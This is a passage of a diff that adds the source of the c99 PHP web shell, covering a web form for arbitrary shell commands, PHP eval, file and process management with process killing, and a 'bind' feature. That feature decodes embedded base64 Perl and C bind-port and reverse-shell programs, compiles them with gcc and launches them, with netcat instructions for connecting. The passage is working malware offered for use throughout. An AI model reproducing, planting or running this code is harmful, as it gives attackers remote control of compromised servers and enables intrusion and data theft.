with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "ps_aux";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== false) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["dirs"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = @posix_getpwuid(fileowner($v)); + $gr = @posix_getgrgid(filegroup($v)); + $row[] = $ow["name"]."/".$gr["name"]; + $row[] = fileowner($v)."/".filegroup($v); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["dirs"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $k = $sort[0]; + if (!is_numeric($k)) {$k = $sort[0] = 0;} + if ($sort[1] != "a") {$sort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";} + } + $v = $sort[0]; + usort($objects["dirs"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($sort[1] == "d") + { + $objects["dirs"] = array_reverse($objects[dirs]); + $objects["files"] = array_reverse($objects[files]); + } + $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["dirs"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["dirs"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + } + } + //Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]); + echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>"; + echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>"; + echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>"; + echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>"; + echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "bind") +{ + $bndsrcs = array( +"c99sh_bindport.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW". +"WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI". +"TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS". +"RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp". +"bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph". +"Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl". +"biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy". +"XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K". +"ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K". +"ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9", +"c99sh_bindport.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5". +"cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N". +"CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy". +"ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1". +"Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f". +"ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p". +"KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm". +"ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi". +"c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl". +"LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h". +"Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN". +"CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy". +"ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp". +"DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN". +"CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K". +"ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg". +"aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g". +"J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy". +"ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K". +"fQ==", +"c99sh_backconn.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ". +"HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ". +"DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ". +"HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L". +"CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd". +"GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka". +"WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO". +"iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR". +"VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK". +"FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==", +"c99sh_backconn.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l". +"dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk". +"Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk". +"YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g". +"aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh". +"cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy". +"XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg". +"DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1". +"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0". +"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo". +"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi". +"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" +); + $bndportsrcs = array( +"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), +"c99sh_bindport.c"=>array("Using C","%path %port %pass") +); + $bcsrcs = array( +"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), +"c99sh_backconn.c"=>array("Using C","%path %host %port") +); + if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";} + else + { + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;} + if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$bind["src"]; + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind["src"]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $srcpath = $tmpdir.$bc["src"]; + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind[src]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>"; + } + } + } + ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php +foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form> +<b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php + } +} +if ($act == "ps_aux") +{ + echo "<b>Processes:</b><br>"; + if ($win) {echo "This function not work in Windows!<br><br>";} + else + { + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "ok. he is dead, amen.";} + else {echo "ERROR.";} + } + $ret = myshellexec("ps -aux"); + if (!$ret) {echo "Can't execute \"ps -aux\"!";} + else + { + $ret = htmlspecialchars($ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} + if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} + $k = $ps_aux_sort[0]; + if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $head[] = "<b>ACTION</b>"; + $v = $ps_aux_sort[0]; + usort($prcs,"tabsort"); + if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $k) + { + echo "<tr>"; + foreach($k as $v) {echo "<td>".$v."</td>";} + + echo "</tr>"; + } + echo "</table>"; + } + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a 